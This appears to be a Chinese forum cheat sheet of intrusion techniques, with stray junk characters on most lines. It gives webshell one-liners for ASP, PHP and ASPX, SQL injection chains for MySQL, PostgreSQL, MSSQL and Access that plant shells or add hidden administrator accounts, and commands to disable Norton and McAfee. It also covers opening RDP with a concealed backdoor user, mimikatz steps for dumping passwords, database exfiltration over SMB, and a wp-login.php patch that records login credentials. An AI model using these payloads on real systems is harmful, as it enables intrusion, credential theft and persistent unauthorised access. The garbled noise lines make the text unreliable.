SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
+ K/ K* t9 {8 y% paccess中导出shell
) F) j3 Q' L! W# I* }- k& J6 X. I5 z
中文版本操作系统中针对mysql添加用户完整代码:3 \4 |* B; f* ^$ m& N4 o$ r4 Q

+ b. g/ S! C0 i: Vuse test;
) a1 a' }) R1 @* v5 ]+ I' Icreate table a (cmd text);( y; W! |+ B/ f& U9 B1 v! y
insert into a values ("set wshshell=createobject (""wscript.shell"") " );: J. C' U, W, Z: z& }) g3 z" K
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );0 A) \( C$ y' k
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );! }( q2 r1 B4 r( H$ }9 l) x+ z
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";/ Q3 V" \5 b# v$ f4 B3 D. x" @
drop table a;
$ g5 u3 P8 w; {) S( z0 O, _* e' N9 e" N. M6 }% `4 v
英文版本:
# N  R) J% m7 l( w4 k6 C5 E( y5 ~* C. d" d) e5 h! w" G
use test;$ J' O% t- f, W! J$ U
create table a (cmd text);
! Z5 [3 {  h& \! o+ |insert into a values ("set wshshell=createobject (""wscript.shell"") " );. l4 F. M' i  A7 w6 o
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
6 c4 A" }; @. b1 S5 Sinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
0 |) B! t0 u5 y( Fselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";  M) u* Q) v" z$ I% X4 S
drop table a;
2 w/ k2 J3 q2 e$ B4 P6 @8 [) |4 S$ Z. Y- i/ b7 ?3 V! r
create table a (cmd BLOB);
5 Y2 Q  s- H$ q- n( ~& g+ J+ Pinsert into a values (CONVERT(木马的16进制代码,CHAR));" x. b. D4 i9 l( W
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
! P9 k' d8 ^# Z: pdrop table a;( C  e  M1 G5 O+ @! \0 c" q- _5 t9 l

8 g1 n! h  M. y4 V+ C记录一下怎么处理变态诺顿
6 p6 A  K6 ]/ K' o, Z3 W2 J查看诺顿服务的路径
  \/ J( n; v' x4 m% `1 ~. U# A3 csc qc ccSetMgr
$ y  t/ ^" P4 \1 Y) [然后设置权限拒绝访问。做绝一点。。
' I; W# |' T! t' w9 `cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system
9 n  F- D# I- _6 K# g, scacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"0 O$ V, o: j  X. C$ P/ q  C8 ~
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators
5 C6 b7 {1 ?" Y8 Vcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone8 u  P2 z' v, j9 B8 r7 w; A
4 H$ E7 U9 t* r& d# Q# s3 U
然后再重启服务器$ Y8 @1 ^# J( O6 S% w
iisreset /reboot5 X0 [$ O; n# |6 K" m3 ]; ?0 h
这样就搞定了。。不过完事后。记得恢复权限。。。。
9 N6 N- R. Y0 {: Mcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F
/ Q1 M: s8 t: E1 I4 P8 acacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F+ j& t# ~- ~, E
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F/ l9 `) r4 {* n7 u7 |- G; F
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F9 m% O: h7 v9 g! ~1 o
SELECT '<%eval(request(chr(35)))%>' into [fuck]  in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin/ z. k8 C9 v  T& _

. H% I9 i' w6 t$ w$ `! t  J& REXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')6 k. K" `# u+ D% ?+ ^, }& I
2 U5 E3 z. ~, y! s6 L6 V
postgresql注射的一些东西6 U9 u* q& G  k; G
如何获得webshell
; r9 Q$ H' j! n/ xhttp://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); , v9 x* c* [) }. \' |1 R$ q
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);
, ]6 ^# @1 ~1 ~0 b6 N, w9 w5 w  U9 Y4 jhttp://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
. T5 w2 F( t* m% G# s' F如何读文件
% n+ @2 x6 }) O; u! ahttp://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
5 F: D" p5 k( J5 hhttp://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;0 A1 N/ f2 B4 ~' z6 N& `5 ^. R
http://127.0.0.1/postgresql.php?id=1;select * from myfile;5 j# `+ g: z) l' \* Q, y( l

+ p5 @- t% z! U* m+ H8 _- _z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。6 i1 O5 O) X5 j
当然,这些的postgresql的数据库版本必须大于8.X5 a4 X2 t1 F2 r7 Z6 R  v/ f
创建一个system的函数:
+ \$ x" s8 @, U- }CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT% t  K+ C6 H% L9 d' q3 t' ~

! J7 W4 H& D! s4 ^! k1 U5 D创建一个输出表:- @* c5 {; |  f" \
CREATE TABLE stdout(id serial, system_out text)
( }) b8 v, R5 \; z0 ]4 B8 ~/ Y  q& B9 b9 {5 a
执行shell,输出到输出表内:
' K0 F! U0 Q# n- B* \SELECT system('uname -a > /tmp/test')
' \" y! r: H& M) Z
0 o& R  _+ V" J3 I0 H5 ]' ~copy 输出的内容到表里面;
7 O. D" A4 y9 j) Q9 C, `COPY stdout(system_out) FROM '/tmp/test'% w+ h1 J* d. f, e) _

% w) ?9 t8 M- F% p从输出表内读取执行后的回显,判断是否执行成功1 n" _) O2 u! ~. W
3 h" V  {+ K2 W( x
SELECT system_out FROM stdout! L4 U) ^- \" \6 e! I3 r
下面是测试例子
! Q1 V5 {0 z4 L) J3 `5 c' C8 Q9 i, Z# W0 V8 x4 y/ R
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- $ c. X- I* w  `# A

1 c: `8 v* ?# D; b( D/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'3 l3 j+ u2 m) Z* l7 t+ b9 |
STRICT --
3 k# z5 P1 ~% B& A
9 p& F# Q  H& d- ~( o  t4 r/store.php?id=1; SELECT system('uname -a > /tmp/test') --
9 C% V9 }- s6 r4 d% b, J) \
5 o9 V/ l: H! f) @+ W/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --" \/ J& a$ O2 C. R
4 u0 H9 p& c# h7 ^
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--' g/ B* ~- f$ h% Z5 I
net stop sharedaccess    stop the default firewall
9 w5 r) L. B. G, g" B$ Inetsh firewall show      show/config default firewall
4 _* ^* @  u0 T6 Y: X+ z# v2 |- pnetsh firewall set notifications disable   disable the notify when the program is disabled by the default firewall1 L( ]) T- G* x4 J2 E. R
netsh firewall add allowedprogram c:\1.exe Svchost     add the program which is allowed by default firewall8 i- d2 e% }1 s; y
修改3389端口方法(修改后不易被扫出)
1 b# V9 }& U: l0 u$ Y修改服务器端的端口设置,注册表有2个地方需要修改
$ _# @6 k. G6 o
- y  k) s$ ~% y- M. V[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]( h; t, K$ U1 _3 B- j- v' l
PortNumber值,默认是3389,修改成所希望的端口,比如6000, N- e8 t  l) O- |8 b! I8 p8 F" j9 w. ]$ X
: q" r% w) {* L$ C4 @; v- \, k; [, k
第二个地方:
! b3 G( {. l  L) |! ?+ S  D6 R[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] : ^. W7 _6 j, H
PortNumber值,默认是3389,修改成所希望的端口,比如6000- ?- Q" T8 ~' J' q9 P
: e, j2 e9 P3 s; q1 L
现在这样就可以了。重启系统就可以了) Q% F; Y* S7 x" t" c1 l
& B3 Q; ?8 v* ]7 I
查看3389远程登录的脚本, J( z6 j* M8 _" C$ [" ~+ b& n
保存为一个bat文件
' F$ _" M( L' f" e9 L) ^date /t >>D:\sec\TSlog\ts.log
( P  `4 J$ ?2 h, \6 Y. X1 q+ Z& dtime /t >>D:\sec\TSlog\ts.log4 h. c7 ?% S/ t3 L( ?8 G
netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log
+ S. x0 `/ J# g1 A3 rstart Explorer# b; ]! |/ R6 l+ B7 I
. z! |; o! k8 j" S, C
mstsc的参数:
4 X1 B# Y0 ~6 X6 u0 }, k' l% O; q: {7 |' }, E* @$ \3 r
远程桌面连接, K: B3 R' W9 l% x
1 M; y7 g2 Q( [0 n, S$ V
MSTSC      [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]. G0 }/ M: H/ u" S8 @
  [/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?: V" s% _) w  [. v4 d4 _8 W  |
4 W5 b! l' q) n
<Connection File> -- 指定连接的 .rdp 文件的名称。
4 g' Z6 ?% q; _$ l& Z, O" z, `) n: w
/v:<server[:port]> -- 指定要连接到的终端服务器。" E) h8 n8 v. [+ O, ^5 r
, u8 |8 t. O* w+ P& x
/console -- 连接到服务器的控制台会话。
" l  W& B. B+ F( m
6 ^  r$ S* m  J/f -- 以全屏模式启动客户端。
$ t1 X) Z  d# g: k3 Z$ x* m# D2 A" ?* k7 g+ E8 Q
/w:<width> --  指定远程桌面屏幕的宽度。7 X# F+ Y4 g; L

% N+ K9 {0 D4 V. W' t2 s" V/h:<height> -- 指定远程桌面屏幕的高度。
+ `" x# S- }; x- _9 ^8 Q$ ^# ]' I' r% t3 Q2 X% q8 `9 u) U4 L2 B
/edit -- 打开指定的 .rdp 文件来编辑。
6 n6 m- B  m+ \$ F/ u5 [
8 M8 U, u+ a( o- L/migrate -- 将客户端连接管理器创建的旧版4 l1 w. v, A5 t
连接文件迁移到新的 .rdp 连接文件。1 q9 q; K/ ]+ e* d

* C0 }( |  ^$ M) q. s' }" t$ v
6 {1 R9 M+ h9 j其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就8 E5 S/ g; r& b2 j4 R& u$ ]0 j' r7 |
mstsc /console /v:124.42.126.xxx 突破终端访问限制数量, ?& Y  `% w8 V* s6 W
8 \  W2 w+ m$ J6 }. }* S
命令行下开启3389$ a) t. g( m4 @
net user asp.net aspnet /add4 J  f, F* |" @8 O: h+ l
net localgroup Administrators asp.net /add
, S+ z+ [9 s! V' v2 ]7 D9 L. x* Xnet localgroup "Remote Desktop Users" asp.net /add0 |* _% @0 T3 A
attrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D
1 @4 r) b  O# }! j4 Recho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0( j) @. i* H4 Y+ L9 f1 @6 ~
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1& P  z" n& R5 J6 ]/ ~
echo Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f
1 L% i. u& }; r5 }! R, ^sc config rasman start= auto5 M5 t4 a- [6 y2 f3 b
sc config remoteaccess start= auto
4 v! [2 |& @$ E9 N+ j' ]net start rasman
" W" N* J% P. \/ w1 [5 F. Lnet start remoteaccess( z5 J' }2 ?( [9 C4 j. \" e
Media$ t) ~) U* V" B% A, E
<form id="frmUpload" enctype="multipart/form-data"2 l, k: m+ X6 F, Q7 S
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>9 C8 L! ]) Z* u4 R2 ?# b
<input type="file" name="NewFile" size="50"><br>3 Q0 Q" U- X2 c5 d
<input id="btnUpload" type="submit" value="Upload">' P- b# A0 w& }* I! p- M
</form>2 d  k6 D0 x, P8 c

) b- ~2 b9 Z' M. k. Wcontrol userpasswords2 查看用户的密码" A) k; K7 j/ ~% D' p7 s! X# w
access数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径' {5 V& y! f& H( M; A4 h
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
( k( a6 b1 R( ~# \. u6 s. c2 C- `8 ?! s- t5 ]
141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:; n6 }3 B* m; S. }
测试1:
$ G# _' W+ J7 @# i/ _% `$ ySELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1+ Q$ C/ a# E$ x' c, z/ O

* V3 S0 n  ?! K" r测试2:
) p3 w  P7 V+ v
* }8 r6 }" ?; m3 gcreate table dirs(paths varchar(100),paths1 varchar(100), id int)5 T; X3 |8 {0 n9 C4 t/ g
. @' F+ |4 r, K7 _' k* Q/ `
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--, {3 w- g) j* _5 M! p9 _
6 K8 n1 `, T; V
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t11 s3 \$ g  r$ B7 \
关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令# X. O7 ^, X' H  }# H# J
可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;
* n9 {* P8 U* g2 n  ?+ Wnet stop mcafeeframework  y) D4 {" R# ^/ u5 |# f0 s
net stop mcshield
+ \, `' ^$ N5 e1 v) {# Qnet stop mcafeeengineservice
" [6 B4 i, \! R6 U+ U) }* Onet stop mctaskmanager
6 A3 N4 m- Z# [" @http://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D  z5 w, Q3 L! N# W/ X' u1 c
! K7 j& c0 w" [) ?2 Y1 n! i
  VNCDump.zip (4.76 KB, 下载次数: 1) ) w9 V# L; l* ~. h
密码在线破解http://tools88.com/safe/vnc.php
/ \9 q" Q- {- C7 r1 ^* \( _$ jVNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取
2 {4 D* C" l+ [' d3 k
% S3 w! P, f  Q& p5 N; Fexec master..xp_cmdshell 'net user'
8 ~/ r" [8 G( O. S; L" F" H8 tmssql执行命令。: Q& a4 K3 j0 O' o& M5 L; F
获取mssql的密码hash查询+ j" t+ B6 W5 N
select name,password from master.dbo.sysxlogins
& D+ N" t& W, Z6 J& c* j5 V( X  h$ y$ \# `3 u
backup log dbName with NO_LOG;# T" A# c# v5 j% c* O& S# E. B" m
backup log dbName with TRUNCATE_ONLY;. h* p  G( ]# O2 ^% F* Y1 J
DBCC SHRINKDATABASE(dbName);
+ y: G) V* A* w% d' Pmssql数据库压缩8 d/ [6 u9 g5 v" E

2 o3 t) J- r; U8 g8 ^" iRar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK: _# |; ?* p4 @- ?; c
将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。
9 O8 |; u5 r+ r; ]$ D- t& ]( y! Y/ u2 s) P
backup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'+ V! Q/ V8 V( \+ b2 j4 I
备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak
* P8 j$ e: \( G, x% C! V/ A+ Y% N% o1 y  q: j
Discuz!nt35渗透要点:
2 M% r" N/ o) U4 N2 n- A# K(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default
* w5 `& r; S0 M+ l) w& o(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>1 w; Y. r3 v) q! [2 @
(3)保存。$ n& ]1 S& N: d, Y* a& Q
(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass
; W2 O3 ~* K1 ~' H+ r7 kd:\rar.exe a -r d:\1.rar d:\website\( ?0 @3 U. |' L0 a+ R
递归压缩website7 G" ^0 A/ X% I/ {& L" q
注意rar.exe的路径& S4 d7 i5 {; P

+ L& W7 L: m( c( p' b+ p<?php2 G. J2 `+ ~( ?# m+ B9 [/ V
# i: f0 s; k6 e) Q
$telok   = "0${@eval($_POST[xxoo])}";
0 r) z) Z. z+ J8 ?; f& A8 X& e& O* f, e' p1 h4 C5 r
$username   = "123456";
) X4 `; N: X5 o, X2 x
$ c+ O) Q! m6 T$userpwd   = "123456";
( E  @; Y  Q9 F- q# G6 S, o: _$ s* C  n* \/ O/ d0 ^2 i! k: _
$telhao   = "123456";
3 O! U0 x5 [: {% R1 ]
& J/ t' D3 Z, O2 [$telinfo   = "123456";
$ `( @8 t" E/ I# c2 |
  G! B; w% h7 ]6 D! |?>1 g- P- o, H6 o1 a9 I
php一句话未过滤插入一句话木马% h4 ~. w0 O# `' e
' G. \' E# s$ M+ {# l/ b
站库分离脱裤技巧
9 g2 P5 p4 c7 ?6 Y% A! b3 n* nexec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'
) d. ?; W' Y2 |. sexec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass': Y, ]% }* \2 ~+ E7 G
条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。0 P# h$ f  g6 Y* U5 p
这儿利用的是马儿的专家模式(自己写代码)。
% c% J* A4 _  w# s5 M8 {ini_set('display_errors', 1);
8 m- N; ~$ Q' Y% m" Sset_time_limit(0);7 W3 z" Q2 G7 ?! b/ u
error_reporting(E_ALL);' L8 M; Q6 |+ F+ z& n3 O$ q0 d: B
$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());
  o1 T0 W  l, E5 w& B4 I; T. ~' jmysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());
0 ]5 r, T. C+ x4 m$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());) x+ K) ]5 u3 x- t) E% b
$i = 0;3 j0 d9 J" B4 d9 Y. a& {
$tmp = '';& ^7 `" h* P! g$ A2 B( \
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {! F3 b! G# ]/ r( L5 r; E
    $i = $i+1;* n( a5 J' H5 D4 D' ]
    $tmp .=  implode("::", $row)."\n";+ S2 _( J& S: w: N
    if(!($i%500)){//500条写入一个文件
1 D! b7 @  r5 u4 Z1 k        $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';4 l! a3 P2 p0 k5 Q& w6 D& q
        file_put_contents($filename,$tmp);
" u/ }& T9 z' O! e9 M* S0 l8 D        $tmp = '';
5 k$ s2 H5 X) y$ W; \' ~    }$ {- S6 n1 g/ `* l/ U( p& }( l
}& a0 g- I5 j" D' M1 T+ {( d
mysql_free_result($result);6 f+ m3 v' B" l

, J+ ]! v+ R1 \* p$ }! d4 N/ m. ]1 H4 w( C( S: G8 Y$ J

4 B) h/ E# u( {* I2 }* i  Y1 S//down完后delete
6 E) \* z+ Z& c4 }# ?' [1 f3 X2 a$ ]: g  E  l% g  H

" r( U* W3 y" Q* z7 I/ Qini_set('display_errors', 1);( u) i) C5 W9 H4 y$ a" y
error_reporting(E_ALL);8 \, E2 N& U& f  [- l* F
$i = 0;3 R( s2 W* ^7 P4 D# ?
while($i<32) {, c+ [: V# A/ K* p3 R, ~
    $i = $i+1;
1 w% d! d3 {" C" Q        $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';
) B1 M0 `' S0 ]( O2 u0 y4 @( [' E        unlink($filename);
) k# n2 t8 v, M: S8 G6 i7 U} 3 j5 L7 f3 t( \! ^" t5 s
httprint 收集操作系统指纹
( G. T1 ~1 L2 e2 X扫描192.168.1.100的所有端口
* L( k/ [& ~4 N  x+ b% G5 H, M* z4 L2 ^nmap –PN –sT –sV –p0-65535 192.168.1.100
0 ?4 L3 D* m  ~9 t+ Ohost -t ns www.owasp.org 识别的名称服务器,获取dns信息2 T6 |- v3 }1 ?3 b( w) K5 f3 Z# t9 q
host -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输
+ a$ d& Q' c8 B. [Netcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host8 p0 {$ P# F: X" P6 R

8 x( ?* g+ i1 @. g; ^0 vDomain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)  c# b5 M9 L9 ]: n8 P0 A) _

( Q  G; ?1 J# g9 Z5 ?$ n  MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)
, c: `5 S; B3 A0 D; n0 K# P: R2 k# d0 E/ ^% h; u
  Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x6 M9 C: T) p' m  W5 l$ B
; W1 V$ {9 i) c8 {6 E& B% j
  DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)
5 |7 g; @" q4 _- x$ |  g& P) S4 k9 C/ ?0 M3 z8 V
  http://net-square.com/msnpawn/index.shtml (要求安装): E% x7 m+ A: W
* U* C' w4 O: ]( f' A1 @
  tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)
3 W7 ]1 g0 R6 a( b* w1 B7 i( u
  SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)7 E/ `' ~# I1 e% D7 i. h
set names gb2312. a4 M* n& q$ Q. w: u7 f
导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。
  Y) a! I' G; s* @+ r$ Z! D5 D' G
. H( b2 q7 d6 _. emysql 密码修改
4 |/ u# m9 ^% D# g, D) CUPDATE mysql.user SET password=PASSWORD("newpass")  whereuser="mysqladmin ” 8 G* p+ I) q+ N8 {9 p* J) C
update user set password=PASSWORD('antian365.com') where user='root';& B! s! }1 ~2 \2 Q
flush privileges;) N4 o  R5 e" d
高级的PHP一句话木马后门
1 `6 b' ^: f* W
9 A, {0 {9 |& T  x2 i入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀
/ A0 R& O+ p7 a, Y: u5 {9 N: D" T: S2 w0 ]) `7 @" a. q, H  z
1、
5 s3 [3 Z8 A7 o" H5 s% W9 N& P4 J6 y* ^# W% j
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$ x$ U9 r# H0 r2 {( O& P3 }
8 t$ L1 v3 B! c5 _% W# J- A5 r- E$hh("/[discuz]/e",$_POST['h'],"Access");
  e: F- E, x* O1 H1 D' G* `9 z# q2 `5 m
//菜刀一句话
2 l2 c( k6 c( S: p4 I
0 {, S( i2 H- K$ ]. }5 g0 \- }  H2、
% w- \! |: N: r: P/ ~( J+ W( b  C8 L7 t2 T
$filename=$_GET['xbid'];
. b% v# j# r& B. C  R4 D/ i+ r/ Y1 p9 v- ~) `
include ($filename);- U: A1 Y. u: H9 `, Y" E7 R# G5 \1 t
, o" f4 A! Y' C0 }0 L, O
//危险的include函数,直接编译任何文件为php格式运行5 y! [+ d" X7 Z4 p

  S0 @$ V5 \) W) a5 e9 `+ r3、8 C  p% d# e* P) r% i5 Q, e

& E( f, R/ C/ |9 L4 s6 M$reg="c"."o"."p"."y";
, i# a6 S* n. H
1 _+ S% j+ }  Y3 z4 v- K$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);# d% r! E4 G4 u/ m: R! D" Y

2 M# c, g- K( ^4 m3 F; P//重命名任何文件7 z% i/ e& e% Y9 l- G( @( L  U

; B: V$ D6 J; u  W7 u" C4、8 [9 G8 C: `/ Y$ S" d1 b6 @
5 a4 ~. d1 @) C( R) @
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";: Y8 t2 v  }3 ^0 O! x3 g

2 g0 \; t8 h% S' S* ~$gzid("/[discuz]/e",$_POST['h'],"Access");
5 S) P+ J: Y9 c$ f% Z/ U3 j: {8 F2 p2 L4 U( X& @8 B
//菜刀一句话5 [% H! t! e( v: q

0 `. s! U( R, N: A5、include ($uid);
9 J3 |; a; }3 n) K
) V. D$ i5 W5 J1 @; K//危险的include函数,直接编译任何文件为php格式运行,POST
  w0 E0 E- }- r2 U& K, n
& x% `# j6 K4 X& D6 {/ T
/ R6 Y2 b5 z* r7 _6 U//gif插一句话
( t1 }( D/ d9 a9 v7 m8 K! I( i( p, T; z$ \8 R+ x1 v) G
6、典型一句话" J: ~6 q6 O  \
7 X6 C8 M3 O2 \( m1 g0 B
程序后门代码
# k. M1 C, a$ ?  c& s( U7 n<?php eval_r($_POST[sb])?>/ d- i3 e1 `& A
程序代码
) _9 Y, @0 ?; |1 F. m<?php @eval_r($_POST[sb])?>
; ^( [$ N3 V( D& y//容错代码! W, I2 Z  q: S
程序代码+ I/ w1 E2 P: Q7 M
<?php assert($_POST[sb]);?>4 t3 h/ s0 Q7 x( A3 P
//使用lanker一句话客户端的专家模式执行相关的php语句
( h% u- E) N! w- A  T程序代码
+ d  E# e5 y% r, [, s; T  M<?$_POST['sa']($_POST['sb']);?>
  [' H9 e& Z( B0 p! N程序代码
& }! ^1 K4 k. j, ~/ S" _% [- K<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
/ f3 M% s$ o: U8 j! j5 k6 k! s4 M程序代码1 e8 z  ]3 q( J1 u/ G
<?php8 i  b( O( Q- X4 i3 A5 g& w6 q: L
@preg_replace("/[email]/e",$_POST['h'],"error");) _9 j5 O) X/ Y1 a+ d; _- d
?>- v, ]4 d. w) v7 `) y8 G  L
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入4 J, I1 b4 G+ m% A, J/ c
程序代码
# U  M! s# L  f, i<O>h=@eval_r($_POST[c]);</O>
; e# ?2 [4 c7 q( z9 h+ `0 a- t- t程序代码$ t5 B- A5 m% x5 L
<script language="php">@eval_r($_POST[sb])</script>. p$ J% t9 [- a. X8 n# O: p
//绕过<?限制的一句话! Q. }1 h  C3 l

# z( Q. l, L+ i* ^http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip  L, M5 M  Z0 |" d8 [
详细用法:
# \6 K2 |5 q8 x# Y$ X. a  _+ |# r, N1、到tools目录。psexec \\127.0.0.1 cmd% U/ l! S5 I7 V
2、执行mimikatz% G  M: ]* [4 A  n7 S
3、执行 privilege::debug
! F, e' e  O9 M2 t0 z4、执行 inject::process lsass.exe sekurlsa.dll, F/ |2 ?' G  i) c' {8 [
5、执行@getLogonPasswords( I% ]5 h* v% y, C# q3 G" `* I6 u
6、widget就是密码3 v/ w. j1 K: B
7、exit退出,不要直接关闭否则系统会崩溃。
" x& Z! f3 v) `$ W+ ?2 n- _) P
0 T- v! i! y  t) Whttp://www.monyer.com/demo/monyerjs/ js解码网站比较全面
9 _) o" L( A) O7 k
0 g7 `( Z; j7 e, U自动查找系统高危补丁
5 z9 t8 ~3 H0 Qsysteminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt& p  U! {" i( l

6 p! s, W. }! Y8 e& ^8 }4 m% O( y突破安全狗的一句话aspx后门
0 K: ~7 _1 I9 h3 M<%@ Page Language="C#" ValidateRequest="false" %>3 X' m( ~; l9 U+ _0 H( s
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
) }8 M' X2 Q, R) E  j1 P' Jwebshell下记录WordPress登陆密码
1 S5 _( }6 j' ^3 ]webshell下记录Wordpress登陆密码方便进一步社工) l4 {5 J. M. p0 ^6 B' }% I, V" e
在文件wp-login.php中539行处添加:
8 V- j2 ]2 {) H; q// log password
9 t5 V$ V$ [3 e* a9 y# z+ }$log_user=$_POST['log'];4 @) O% T& a% [
$log_pwd=$_POST['pwd'];( p/ k+ M$ K. E5 O7 T8 Z! _
$log_ip=$_SERVER["REMOTE_ADDR"];
* \4 O" q! w! d. G- U$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;
# z" R" q' w7 G* \) I+ ]& f8 i4 b1 F$txt=$txt.”\r\n”;
1 f: d1 F7 x7 N$ k, }! ]) Uif($log_user&&$log_pwd&&$log_ip){
) D0 I: @& U" |) l: t) M4 Z@fwrite(fopen(‘pwd.txt’,”a+”),$txt);
$ K; E0 g( F8 w! V- A}8 r2 g4 I. B' ^
